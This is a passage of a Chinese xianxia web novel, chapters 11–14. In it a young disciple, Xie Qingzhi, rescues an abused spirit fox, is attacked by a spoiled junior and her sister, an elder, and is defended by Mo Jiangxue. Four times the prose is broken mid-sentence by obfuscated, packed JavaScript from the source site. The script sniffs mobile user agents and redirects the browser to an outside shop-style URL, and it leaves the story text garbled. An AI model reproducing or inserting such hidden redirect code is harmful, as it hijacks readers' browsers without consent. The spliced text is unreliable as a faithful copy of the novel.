“很脏,带它去洗一洗。” “别听别听。”谢清徵捂住小狐狸的耳朵,跟上莫绛雪的步伐,“我听说您在闭关疗伤,是最近出关的吗?您的身体还好吗?” “还好。” 一路上,没等莫绛雪问,谢清徵主动交代了自己这半个月的经历—— 说到天枢宗和自己的身世时,语气迷茫;说到萧掌门收她入璇玑门时,言语流露感激之情;说到那个虐待小狐狸的少女时,言辞又是忿忿不平。 她说得娓娓动听,连怀里的小狐狸都伸爪拨开了她的手,想认真倾听她说的那些经历,莫绛雪却是不动声色,自顾自走在前面,好似完全不在意她经历了什么,过了好一会儿,才叮嘱她道:“以后用了万象步,先调匀气息再坐下。” 谢清徵问:“什么是万象步?” “适才你疾跑的步法。” “可我刚刚只是觉得打不过,本能地溜之大吉……” 并未特意使什么步法。 莫绛雪道:“或许你母亲教过你。” “这样吗,可我什么都不记得了……” 真可惜。 莫绛雪:“你的身体还记得。” 谢清徵回忆刚才的步法,试着跑了几步,身形踉跄,左脚踩到了右脚的大拇指,险些跌倒。 她狼狈地停下脚步,扶着一棵竹子道:“我的身体好像又不记得了。” 莫绛雪道:“你忘了心法口诀,刻意为之,反而使不出来。” “那您知晓口诀吗?” “不清楚,万象步是天枢宗不外传的功夫。” 谢清徵叹气:“不能随心所欲地使用,那学过和没学过也差不了多少……也不知我娘亲除了教我逃跑,还教过我什么?” 说着说着,到了碧水潭边,谢清徵环顾四周,后知后觉发现:“原来这里就是缥缈峰。” 适才走过的那片竹林,正是那晚她看到过的竹丛,眼前这个碧绿色的水潭,正是那晚险些淹了她的寒潭。 她还记得着潭水十分冰凉。 她正犹豫要不要用这水洗狐狸,怀中的小狐狸却蹿了出去,“噗通”一声,主动跳入水潭中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080632|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢清徵怕它被淹死,蹲下,伸手要捞它。 莫绛雪道:“它是灵兽,识得这寒潭有疗伤祛毒的功效。” 有些动物天生灵性十足,和人一样,可以吸纳天地灵气,化为己用,修炼成灵兽。 修士能够与灵兽缔结契约,将灵兽饲养在身边,作为灵宠。 “灵兽……”听上去很珍贵的样子,谢清徵缩回手,底气不足道,“我抱走了它,那个同门,会不会找我算账?” 莫绛雪淡淡道:“你说呢?” 谢清徵看着游来游去的小狐狸,底气更加不足:“应、应该会吧……算账就算账……就算她是这狐狸的主人又怎么样,我不怕……闵鹤师姐和我说过,门派规定,不得残害弱小无辜。她残害弱小,就是她不对……” 温温软软窝窝囊囊的语气,偏偏说出了几分理直气壮感。 莫绛雪定睛探查灵狐的灵元,道:“这灵狐还没认主。” 灵力越强的灵兽,越难认主,也越难驯服。 若是外力强逼结契,性情刚烈的灵兽会自爆灵元,与修士同归于尽;倘若不能同归于尽,也会自毁肉身,宁为玉碎不为瓦全。 比如,眼前这只灵狐。 谢清徵在西山时接触过不少小动物,熟悉这些小动物的脾性,说道:“也许是它不想认主呢。” 刚才那个少女看着不像是个好脾气的人。 莫绛雪转头,浅淡的眼眸望向谢清徵:“你可以试试,狐狸属阴,你招鬼的喜欢,也招狐狸的喜欢。” 谢清徵沉溺在那道清冽的目光中,怔了一怔,才呆呆地道:“因为我身上阴气重嘛……可我要狐狸的喜欢有什么用呢?我又不想和它学怎么捉小鸡、捉兔子吃。” 顿了片刻,不知为何,心中涌起一股冲动,她就把藏在心里的话说出了口:“我要是能得到你的喜欢,能拜你为师就好了。” 11. 缥缈峰(二) * 莫绛雪噤了声,静静站立在一旁。 她的沉默应当是一种无声的拒绝,谢清徵收回目光,抿了抿唇:“好吧,不喜欢我也没关系的,我自己伤心一会儿就好了。” 莫绛雪冷冷瞧着她:“我没喜欢你,也没不喜欢你,你伤心或不伤心,都与我无关。” 谢清徵默了片刻,直白道:“可是我很喜欢你啊。你治好我的眼睛,把我从温家村带出来,我伤心哭泣的时候,你会弹琴安慰我,虽然可能是因为嫌我哭得烦人……我受的外伤,你都替我治好了,我的陈年旧疾,你也替我治好了……你心肠好,对我也很好,这个我是知道的。” 她不谙世事,喜欢二字,说得坦坦荡荡,全然不懂含蓄二字,更不知道掩饰内心想法,一股脑儿全说了出来。 虽并非倾慕,只是孩童般天真单纯的依赖,莫绛雪却听不得这种直白的肉麻话,转开视线,漠然道:“我没对你好。” 谢清徵把剩余的话吞回了肚中。 三番两次表示好感被拒,本就有些失落,絮絮叨叨说了许多真心话,又被莫绛雪泼了一盆冷水,这下心里更难受了。 她的态度太过冷淡,神情亦是拒人千里之外的冷漠。 谢清徵被她冻得耷拉着脑袋,半晌不言语,过了好一会,才憋出一句:“我不信,你就是对我好。” 在西山时,她虽然把血泊中的莫绛雪捡回了家,可她觉得,那并不算什么救命之恩。 就算没有她,莫绛雪在地上躺个几天也会醒来,何况她替莫绛雪敷的那些草药,只能暂时止血,不能彻底治愈。 反倒是莫绛雪,彻底治好了她的眼疾和寒热之疾,让她能够像正常人一样生活。 她打心底感激她。 谢清徵张了张嘴,还想说些什么,水潭中的小狐狸跳了上来,翘起尾巴,绕着她的腿打转,湿漉漉的毛发淌着水,似是心情大好。 谢清徵看向莫绛雪,眼神满含期待之意。 莫绛雪掐诀,袍袖挥出,小狐狸身上的水气瞬时散发开来,毛发干透,看上去蓬松洁净又柔软。 谢清徵举起小狐狸,微微笑道:“让我们一起谢谢莫长老。” 她的声音听上去有些嘶哑。 莫绛雪转开身,不再瞧那一人一狐,目光扫向潭边的一张石桌。 桌上有茶水。 那狐狸倒也机灵,从谢清徴怀里跳出,绕到石桌边上,“嘤嘤”叫了两声,引起人的注意。 谢清徵哎了一声,跟着走过去。 她跑了很远的路,又说了许多话,喉咙渴得直冒烟,这会儿看到桌上的茶壶,她抿了抿唇,没有擅动,礼貌询问:“请问我可以喝点茶水吗?” 莫绛雪颔首同意。 谢清徵这才倒了杯茶,咕咚咕咚灌下,缓解喉咙里的干燥。 茶水冰凉,灌入腹中,带着一股沁人心脾的梅香。 谢清徵忽然想起曾听闵鹤师姐说过,她会随掌门和副掌门来缥缈峰,取梅花上的雪水煮茶。 她一度有些担心,梅花上的雪水,喝了会不会拉肚子…… 四下看去,只有青翠的绿竹,不见什么梅花。 谢清徵好奇心重,问道:“我听师姐说缥缈峰有十里梅林,那些梅花都栽在哪儿了?” 莫绛雪望向峰顶:“山上。” 谢清徵踮起脚尖,抬头看向峰顶。 郁郁葱葱的竹林遮挡了视线,什么都看不见。 她怅然道:“我好多年没看过梅花了,都忘记梅花长什么样了,等有机会一定要去看看……” 她目前修为浅薄,上不去峰顶。峰顶太过寒冷,有常年不化的积雪,寒气逼人。 修为不够的外门修士一般只在山底活动,但对于修为达到一定境界的内门修士来说,在山腰以上的地方,行走时需运功抵御寒气,睡觉时也需抵御寒气,无论是走是卧,是停是歇,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080633|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不断运功,久而久之,修为也能精进得更快。 “稍等片刻。”莫绛雪足尖一点,御剑径自离开。 谢清徵不知道她去做什么了,抿着茶,摸了摸狐狸耳朵,听话地在原地等待。 她这一走,无人说话,寒潭边只剩细微的水流声和竹叶沙沙作响声。 与她相处的画面在脑海一幕幕回放,愉悦的,微妙的,柔软的情绪充斥胸膛,谢清徵心想,自己要是可以一直待在她身边,是不是天天都能这般开心? 一杯茶未饮尽,一股寒香拂鼻,谢清徵抬眼看去,莫绛雪悄无声息地出现在面前,将手中的一枝红梅递给她。 她接过那枝红梅,翻来覆去,看个不停。 胭脂色的花瓣,薄如蝉翼,层层叠叠,犹沾雪水。 她握着那枝红梅,欢喜得找不着北,恨不得也像小狐狸那样,一头扎进冰冷的水潭里游个几圈。 又笑着小声嘀咕道:“我就说嘛,你这个人心肠好,对我也很好……” 她说想看梅花,便立刻折了一枝给她看。 莫绛雪横了她一眼,又掸了掸肩头的碎雪,冷冷道:“我对你好不好,不要挂在嘴边说。” 话音落地,她神情蓦地一变,额头渗出细密的汗珠,似是极为难受。 她转开身,背对谢清徵,左手虚虚握拳,忍得骨节发白,平静道:“外面有人找你,你先出去。” 谢清徵没察觉到她的异常,将梅花放到石桌上,叹气道:“估计是那个没礼貌的家伙找来了,我去看看。”又摸了摸茶桌边上舔舐毛发的小狐狸,“你也先待在这里,别出去。” 小狐狸低低叫了一声,似是应答。 欢愉的好心情被打断,谢清徵唉声叹气,孤身一人走出缥缈峰,看见外面乌压压一地的人,怔了一怔。 那二三十个修士腰悬佩剑与短笛,都是青松峰的师姐师兄,看到她从缥缈峰出来,皆手按剑柄,怒目而视。 12. 缥缈峰(三) * 不过是一只狐狸,何至于如此兴师动众? 为首一名男修一剑挥来,指向她胸口,叱道:“哪来的奸细?敢到缥缈峰撒野!若不直说,休怪我剑下无情!” 剑尖抵着她的外衣,只须轻轻往前一送,便能破开她的心脏。 什么奸细? 只不过抱走了一只狐狸,怎么就成奸细了? 心脏被剑抵着,谢清徵头皮麻了半边,辩白道:“我不是奸细,掌门与闵鹤师姐可以证明我的——” “身份”二字没说完,那男修身后的少女打断道:“冲斗师兄!别和她废话!她会使天枢宗的万象步,抢走了我的灵宠,还破了缥缈峰的结界!” 谢清徵看到那少女,皱了皱鼻子。 不知这大小姐是何方神圣,那名男修转开了脸,竟当真不再听人解释。 他虽是师兄,面对那位少女却流露讨好之意:“紫芙师妹,请放心,冲斗师兄定会为你讨回公道!” 说着,他收起长剑,目光转向谢清徵,隔空一掌拍出:“小友,请赐教!” 凌厉的掌风袭来,谢清徵闪避不及,胸口似被一块巨石重重一拍,身子如软泥般向后摔去。 李冲斗暗道不好,慌忙收掌。 他身为青松峰的首席大弟子,素有“打抱不平、锄强扶弱”的侠名在外,碍于对方并无兵器在手,又是个小辈,出招之时还特意提醒,这一掌也才使出两分力道,已试出她修为浅薄、几近于无,绝无可能破除缥缈峰结界。 难道是因为莫长老闭关疗伤,结界露出了破绽,这小姑娘才误入缥缈峰的? 他身后的众修士也都吃了一惊,她们眼见谢清徵从缥缈峰走出,料想她能破除莫长老设下的结界,修为必然不弱,哪知冲斗师兄随手一掌,竟能把她打成这样,怕是其中必有误会。 沐紫芙适才躲在师兄身后,不敢太过放肆,这时见谢清徵被一掌拍倒,才走出来,拔出剑,还是那副嚣张跋扈的模样:“我以为你有多厉害呢,原来不过如此!” 血腥味涌将上来,谢清徵无力反驳,挣扎地爬起来,倚坐在一颗竹子上,咳出了一滩血。 她入门还不到一个月,能厉害到哪去? 沐紫芙得意洋洋:“我要划烂你的脸,砍断你的手,看你还敢不敢抢我的东西!” 冰凉的剑锋抵在脸颊上,冷意森森,谢清徵想要后退,却无力动弹。 沐紫芙笑吟吟道:“看你和我差不多大,长得也还算入眼的份上,给你另一条路。第一,把那畜生还我,那是我阿姐送我的东西,你没资格碰;第二,老实交代你怎么进缥缈峰的;第三,跪在我脚边,向我磕头,道歉,求我饶了你!” 她笑靥如花,似是极喜欢这种把人踩在脚底下、肆意羞辱的感觉,偏又生了一副好相貌,若是不知情的外人见了,准会觉得是一个天真烂漫的少女在和同伴顽笑。 谢清徵咬唇不说话,死死瞪着她。 沐紫芙脸上依旧挂着笑:“你这对眼珠子还挺好看,再瞪我试试,我给你挖出来安在狗头上!” 满腔的屈辱感和愤怒感涌上心头,激得谢清徵又一阵咳嗽,咳出的却都是血沫。 有几位女修心有不忍,猜到其中另有隐情,上前来为谢清徵运功疗伤,制止沐紫芙道:“紫芙师妹,璇玑门禁止同门相斗!我已派人去请闵鹤师姐来,等师姐来说清楚再动手不迟!” 沐紫芙骂道:“你们都是青松峰的人,不护着我,倒去护一个外人,算怎么回事啊?” 话音未落,竹林中有道白影闪过,一团毛茸茸的东西骤然跃出,闪电般扑向沐紫芙,速度快得让人看不清。 李冲斗失声叫道:“紫芙师妹!当心!” 沐紫芙转身避开,灵狐如同鬼魅般贴到她背上,从背上绕到她脖子上,爪子锋利如勾,在她的脖子上挠出十来道细密的血痕,紧接着,又从她脖颈处钻进了衣服里,犹如一条灵活的蛇,在她的后背、前胸、脖颈、脸上、头上疾速穿梭。 沐紫芙惊慌失措,手忙脚乱伸手抓去,却连影子都没抓到。 几个女修上前,想要帮忙,却又不知从何帮起,七手八脚帮忙抓了几下,没抓住那团毛茸茸的东西,反而不小心抓伤了沐紫芙的脸。 李冲斗递出长剑,刷刷刷刷,蓝光四溢,剑招迅疾,凌厉的剑气同样没能伤到灵狐,反而将沐紫芙的左臂割得皮开肉绽。 沐紫芙恼怒至极,抬手一剑砍向他。 李冲斗惨叫一声,捂着右手,脸色刷一下变得惨白。 他右手的小拇指被沐紫芙一剑削去,滚落在地。 变故发生在瞬息之间,众修士都被那团毛茸茸吸引了注意,待反应过来,看到地上裹着鲜血与泥土的断指,不由一阵悚然。 有人喊道:“师兄!快去神霄峰找素问师姐接手指!” 李冲斗恨恨剜了一眼沐紫芙,拾起地上的断指,连滚带爬地往神霄峰飞去。 剩余的修士不敢再用剑,解下腰间笛子,也不敢吹奏杀伤力大的曲调,只吹奏一曲御兽诀,试图驱逐那灵狐,哪知丝毫不起作用。 沐紫芙惨叫连连,在竹林中四处奔走,试图甩开身上的灵狐,众修士也跟着她四处乱转。 谢清徵倚坐在竹子边,看这场面滑稽,擦了擦唇边的血,忍不住笑了一笑。 这种生死关头不该笑的,谁知道下一瞬沐紫芙的剑会不会朝她挥来,偏偏她就是忍不住,笑出了声。 与此同时,也暗暗松了一口气。 那灵狐果然是只不同寻常的灵兽,复原能力真好,应该不用她操心了。 场面乱作一团之际,一名青衫女子踏剑而来。 那灵狐似是嗅到了危险,忙从沐紫芙身上下来,飞身欲回缥缈峰,结果却砰的一下,被缥缈峰的结界弹飞出去。 谢清徵暗道不好,连忙扶着竹子站起身,想抱它进去躲一躲。 她可以进结界,她手上的东西也可以跟着进去。 可还没等她走过去,那踏剑而来的女子衣袖一拂,轻而易举捉住了灵狐。 那女子左腰悬着长剑,右腰别着一管青光四溢的短笛,挺拔的身姿与四周的绿竹极是相称。 众人见了她,忙不迭俯首行礼,有的喊“师尊”,有的喊“沐长老”。 唯有沐紫芙哽咽委屈:“阿姐!阿姐!你总算来了……” 她的脸上、脖颈上满是触目惊心的红色抓痕,血迹斑斑,乍一看去,像个血人。 明明满身伤痕,青衫女子的到来,却令她有恃无恐,那两声“阿姐”,喊得尤为响亮。 谢清徵垂下眼帘,莫名想到早故的娘亲,神情有一瞬的黯淡。 那青衫女子柳眉杏目,肤色白腻,嘴唇甚薄,美得张扬,美得攻击性十足,眉梢眼角的那一丝刻薄与傲慢,与沐紫芙如出一辙。 灵狐被她捏着后脖颈,夹着尾巴一动不敢动。 她停在人群之外,讥讽道:“阿芙你带着这么多人瞎折腾什么?一个多月了,不但没让这畜生认你为主,还让它把你伤成这样,真是好本事啊。” 沐紫芙跑到沐青黛身边,扯了扯沐青黛的衣角,指着谢清徵,哭诉道:“阿姐!都怪她!要不是她在关键时候抢走了我的狐狸,那狐狸早就和我结契了!” 她三句话不离“阿姐”,不断哭诉谢清徵如何夺走灵狐、如何使出万象步躲进缥缈峰、灵狐又如何挠伤的她。 她将所有过错都推在了别人的身上,连带着苛责师姐师兄们无能,没能保护好她,自己刁蛮恶毒的行径,全瞒过了不说。 一旁的修士脸上皆闪过不忿之色,却又无可奈何,怪只怪,自己没有一个当峰主的姐姐。 沐青黛转眼看向谢清徵,一言不发。 谢清徵迎上她凌厉的目光,浑身不自在。 她是长老,是一峰之主,想必不屑主动开口质问一个小辈。 谢清徵咳了几声,识时务地主动解释:“沐长老……令妹所谓的关键时候,就是将灵狐割伤、戳伤、鞭笞几顿,再将它堵在一个树洞里,逼迫它结契……” 沐紫芙扯着嗓子喊:“阿姐!她胡说八道!这狐狸好好的!刚才还把我挠成这样!哪里像受过虐待的样子!” 谢清徵心想:“好会睁眼说瞎话,那狐狸奄奄一息的模样你又不是没看过,若不是经过琴曲和潭水的疗愈,哪可能复原的这么快?” 她不愿将莫绛雪牵扯进来,这话只敢在心里说说。 眼前这人是前辈,是一峰之主,谢清徵期盼她能主持公道,哪怕她同时也是沐紫芙的姐姐。 沐青黛却是满脸不耐烦,看也没看那狐狸一眼,随手一抛,将它抛到沐紫芙怀里。 “丢人现眼的东西,带上这只畜生滚一边去,别碍我的眼!” 说完,她盯着谢清徵眉心的朱砂印,一步步靠近。 她衣袖上拂来的冷冷松香,冲淡了谢清徵喉咙里的血腥味。 谢清徵下意识后退一步,却被身后的竹子挡住了退路。 沐青黛站在半步之外,伸手,掐在她的脖颈上,俯身凑到她耳畔,悄声问道:“谢浮筠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080634|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与我有血海深仇,你是她的什么人啊?” 声音又低又磁,捏住她脖颈的力道却极重,阴鸷的眼神看着她,仿佛在看一只随时能被捏死的蝼蚁。 窒息感和眩晕感袭来,脖颈似要被掐断,谢清徵背抵在竹干上,被迫仰起头,眼中泛起了水雾。 眼角余光瞥见一旁的沐紫芙,双手掐在灵狐的脖颈上,似也要将它活活掐死。 她总算知道沐紫芙的傲慢和无礼都是从哪里学来的了…… 这一对姐妹,有病! 竹林中蓦地传来一道清亮的箫声,灵狐猛一激灵,翻身一扭,沐紫芙的手上瞬间多了四个血洞。 沐紫芙凄声喊道:“阿姐!它咬我!” 灵狐挣脱开她的束缚,闪身到丈许之外,忽然之间变得有恃无恐,亮晶晶的小眼睛愤怒地瞪着她们。 沐青黛听到妹妹的呼喊,略一分神,手上力道松开不少。 谢清徵也趁机挣脱开来,却没有逃走,而是猛一低头,张口往沐青黛的手上用力咬去。 沐青黛没有丝毫提防,但觉手掌剧痛,低头一看,手掌给人狠狠咬住。 谢清徵死死咬住她不松嘴,牙齿越发用劲,直咬得她鲜血淋漓。 沐青黛嗤笑一声,满不在乎道:“还以为是个哑巴,原来是会咬人的狗不叫。” 有人踏着斑驳日光缓步而来,沐青黛眯了眯眼,微一抬手,震开谢清徵。 若是心怀杀意,这一震,大可以轻松将人震得筋脉尽断,可她沐青黛是何等人物,岂会同小辈一般见识? 她不屑对一个小辈下杀手,只将人震得踉跄后退,旋即化去手上鲜血,负手而立,望向竹林,瞳孔里映出一道翩然如鹤的身影。 来人一袭白衣,身负长琴,手握玉箫,出尘若仙。 璇玑门中,白衣红纹,琴箫双修的,只有一人。 云韶流霜,莫绛雪。 众修士俱是心神一震,只觉周遭的温度都降了几分。 他们原本一齐注目沐青黛,莫绛雪一出现,他们的目光情不自禁都被莫绛雪吸引了去,惊艳之余,连忙躬身行礼。 唯有沐青黛收了视线,望向自家妹妹,讥讽道:“阿芙,那畜生还没那么大的本事挠你咬你,是云韶君替阿姐管教你呢。” “云韶流霜”是玄门中人赠莫绛雪的雅号,她年纪轻轻,身份却高,沐青黛与她地位相当,不便直呼其名,便只尊称她的雅号。 莫绛雪年轻一些,又是客卿,按规矩应主动向沐青黛行礼,但她生性不喜那些繁文缛节,便只站在谢清徵三步之外,半垂着眼睫,目光探向谢清徵。 谢清徵倚靠在竹边,胸口起伏得厉害,脖颈处指印鲜明,红唇带血,一双明净的眼睛亦是充血发红,神情看上去既愤怒又可怜,好像连呼吸都在颤抖。 莫绛雪没有出声安抚,望向沐青黛,神色淡漠,犹似覆了一层寒霜。 沐青黛出言相讥:“云韶君不好好待在缥缈峰养伤,怎么管教起别人家的孩子了?” 莫绛雪冷冷回应:“沐峰主也知道,这是在缥缈峰,不是青松峰。” 顿了顿,又道:“十四岁的人,不算孩子了。” 谢清徵抱着竹子,气得眼泪在眼眶打转,此时听到莫绛雪开口说话,仰头看去,心中怒气顿时消散不少。 她的语调波澜不惊,正经得要命,最后一句话偏又让人听出一丝揶揄之意。 沐青黛一看她这副不动声色的清高架子,就满肚子怒气,偏偏不好正面发作,只好去骂沐紫芙:“也是,我十四岁的时候,已经是沐家家主了,沐紫芙你呢,还是个没断奶的废物!” 沐紫芙低头抹泪,被数落得不敢吭声。 见缝插针骂完了妹妹,沐青黛将手按在腰间的青笛上,话锋一转:“我那对不争气的父母死得早,我们姐妹俩自幼失了教养,云韶君既有心管教,那就让我也讨教一下。” 此话一出,杀气顿现。 璇玑门禁止同门相斗,却可相约切磋。 至于,会不会点到为止,那就看是真的切磋,还是以“切磋”为名的斗杀。 众修士看得大气不敢喘,两位长老,一个手握流霜箫,一个腰悬见愁笛,都是修真界一等一的高手,前者是出了名的玉魄冰魂,琴心剑胆,后者是出了名霸道护短、鬼见也愁。 二人年龄相仿,地位相当,人均美貌,自从莫长老来了璇玑门,沐长老的风头就被盖过一筹,传闻沐长老早有一较高下之心,只不过一直没找到机会。 这下,只怕难免有一战。 13.缥缈峰(四) * 莫绛雪没有多言,轻轻抬手,转了一下流霜箫,应下沐青黛的约战。 沐青黛冷笑一声,解下腰间的见愁笛,握在手中。 众修士胆战心惊,纷纷后退到安全距离,心情复杂,又是期待,又是害怕。 高手对决的场面谁都爱看,但红白青黑,风采不同,无论哪位长老落于下风,她们心里都不是滋味。 剑拔弩张之际,闵鹤御剑赶到。 “两位长老有礼了。” 莫绛雪和沐青黛同时看向闵鹤。 闵鹤头皮阵阵发麻,却不得不继续说下去。 她朝左边的莫绛雪一揖:“莫长老,掌门说您伤势未愈,切勿与人交手。” 又朝右边的沐青黛一揖:“沐长老,您寻找多年的笛谱,掌门已经替您找来了,请沐长老即刻前往紫霄峰一叙。” “伤势未愈”这四字,明面上是说给莫绛雪听的,实则是提醒沐青黛。 沐青黛为人桀骜自高,修为与她旗鼓相当的对手,方能入她的眼,修为尚浅的晚生后辈、老弱病残,不配和她一较高下。 闻言,她果然收敛了杀意,将见愁笛挂回腰间,冷哼道:“带路吧。” 有萧忘情和稀泥,是无论如何也不能动手了。 青松峰的众修士,几乎都能猜到自家长老的心里活动—— “我沐青黛是何等人物,岂能和伤弱一般见识?” 闵鹤又朝众修士道:“掌门有令,今日之事诸位不可外传,否则按律处置。”说完便带沐青黛去紫霄峰。 自家长老都见好就收了,青松峰一行人也不敢在缥缈峰前逗留。 沐紫芙恶狠狠瞪了谢清徵一眼,跟着众人向莫绛雪行礼,准备告退。 躲在莫绛雪身后的那只灵狐却蹿了出来,拦住沐紫芙的去路。 沐紫芙失声尖叫:“阿姐!” 沐青黛闪身飞回,撕下了最后一丝好修养:“莫绛雪你什么意思啊?这么爱管教我的人,不如我把她送到缥缈峰让你天天管教好不好?” 莫绛雪不理会沐青黛,望向沐紫芙,命令她:“道歉,道谢。” 沐青黛怒火难按:“道歉就算了,道谢又是什么意思?我家阿芙受了你的管教还得谢谢你啊?” 莫绛雪一本正经:“不必谢我。”转眼望向谢清徵,“谢她。” 谢清徵一怔,与莫绛雪对视,一颗心怦怦乱跳:为什么要谢自己? 沐青黛冷眼看向谢清徵,随即像是想起什么,瞟向地上的灵狐,定睛查看它破碎的灵元,转瞬间,她明白了莫绛雪的言下之意。 她转过头,高高扬起手,欲扇沐紫芙一耳光,可想到沐紫芙险些成了一具尸首,那一巴掌,迟迟没舍得落下。 她恨恨放下手,咬牙切齿道:“去,按云韶君说的做!” 沐紫芙不服气:“阿姐!凭什么?” 沐青黛眼中浮上一丝疲惫,像是再同她多说几句话就会被气死。 她捏了捏眉心,竭力克制住怒火:“沐紫芙,你究竟什么能听话懂事一点啊?” 陪同沐青黛一起返回的闵鹤,微笑着解释道:“紫芙师妹,那灵狐险些被你逼得自爆灵元,要与你同归于尽,若不是清徵师妹及时抱走了它,只怕你现在……” 剩下的话,闵鹤不说,大家也知道。 众修士齐齐看向沐紫芙,嘴上不敢多说什么,却是一副她不道歉道谢就看不起她的表情。 沐紫芙看了看沐青黛,攥紧了拳头,心不甘,情不愿,朝谢清徵挤出几个字: “对不起。” “谢谢你。” 说完她神情扭曲,一阵恶心,胳膊上的鸡皮疙瘩都冒了出来。 道歉道谢的话从这人嘴里说出来,谢清徵也听得一阵恶心。 她转开头,抱着竹子,不说话,连鼻尖都还是红的。 这种话虽不能弥补什么伤害,但听在耳中,心里确实会好受不少。 沐青黛施舍般丢了一瓶药给谢清徵,又冷冷抛下一句:“沐紫芙,明年的内门考核,你要是没赢过这个人,就去父母坟前自裁谢罪!” 沐紫芙一跺脚,更加委屈:“阿姐!这又凭什么?还不至于这样吧!” 沐青黛没再搭理她,御剑消失不见。 沐紫芙瞪了眼谢清徵,又小心翼翼看了眼莫绛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097842|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪。 有莫绛雪在,她连一句“你给我等着”的狠话都不敢放。 青松峰的修士生怕她再惹事,连忙拉着她回去疗伤。 众人散去,天色也已经暗了下来。 明月在天,清风拂竹。 灵狐绕到谢清徵脚边,歪着毛茸茸的小脑袋,亲昵地蹭了蹭她的衣摆,似是在安慰她。 谢清徵抱起它,摸了摸它的耳朵:“以后你不会受欺负了。” 她转眼看向莫绛雪,诚恳道谢。 莫绛雪礼节性一颔首,没说什么。 谢清徵低低道:“不知道为什么,每次你出现,我都会觉得很安心。” 这种直白的话一般人说不出口,只会放在心底,偏偏她就说出来了。 莫绛雪冷冷淡淡扫了她一眼:“是么?我让你收拾东西,随我走的时候,不见得你很安心。” 谢清徵脸上微微一红:“那、那是个例外……你对我这么好,以后,我都会相信你的话、听你的话。” 莫绛雪转开了视线,不再看她:“不是对你好,是他们太吵。” 谢清徵抿了抿唇,心道:“我又不是傻子,一个人对我好不好,我怎么可能感觉不出来……” 她怕自己的话太多,这话只敢在心里说一说。 她静静地凝视着莫绛雪。 莫绛雪立于溶溶月色中,与身后的绿竹一白一青,相互映衬,整个人看上去清冷又幽静。 她的眼眸总是漾着清冽的水光,从前,谢清徵在书上看过“秋水横波,顾盼生辉”几个字形容女子的美目,但究竟是怎么个美法,她也没见过,直到看见莫绛雪的眼睛,她才有了真切的实感。 凝视片刻,心中忽然涌起一种陌生的、难以名状的情愫,似水一般,至柔至软,缠绵不尽。 她琢磨不透这些滋味,只觉这种滋味,抵得过刚才所受的万般委屈。 “你回去吧。” 静默许久,莫绛雪开口赶人。 时候不早了,确实该回去念经了。 谢清徵施了一礼,听话地转身告退,刚走出几步,却又听见身后传来那道清寒的声音:“慢着。” 14.拜师(一) * “长老还有什么吩咐?”谢清徵听话地转过身,却险些一头栽进身后人怀里。 什么时候闪身到她身后来了? 莫绛雪后退半步,抬手,食指指腹往她眉心轻轻一点。 一抹清冽的灵气自眉心灌入体内。 “有心之人能探查到你母亲遗留的那丝灵力,我替你暂时隐去。” 时下女子流行额间点朱砂、描花钿的面妆,谢清徵在未名峰的这些日子,师姐们都以为她眉心的这抹赤红是寻常的妆饰。 莫绛雪收回了手。 谢清徵抬手摸了摸自己的眉心。 眉心冰凉的触感久久不散,捎带些许酥麻感。 应该只有修为高深之人才能探查到那抹灵力,察觉出她的身份,比如,那位沐长老。 谢清徵问:“现在她们再探查,是不是只能感觉到你的灵力了?” 莫绛雪嗯了一声。 谢清徵看着她,微微笑了笑。 她这个人,真的很擅长摆冷淡的脸色,做一些暖心的举动。 偏偏她不愿收自己为徒,那她对自己越好,自己便会越失落…… “你可以回去了。” 又开始赶人了…… 谢清徵抿了抿唇,这次却没有立即转身走开。 她想起了一件事,开口道:“长老,我还有一件事想请教。” 莫绛雪:“说。” 谢清徵:“那个沐长老说,她与我娘亲有血海深仇;又说她父母死得早;她还和沐紫芙说什么,内门考核要是赢不了我,就去父母坟前自裁谢罪……我听着不太对劲,总不能,是我的娘亲,害了她们的父母吧?” 莫绛雪沉吟片刻,道:“不是你母亲杀害的,但确实和你母亲有关。” “啊?有什么关系?” 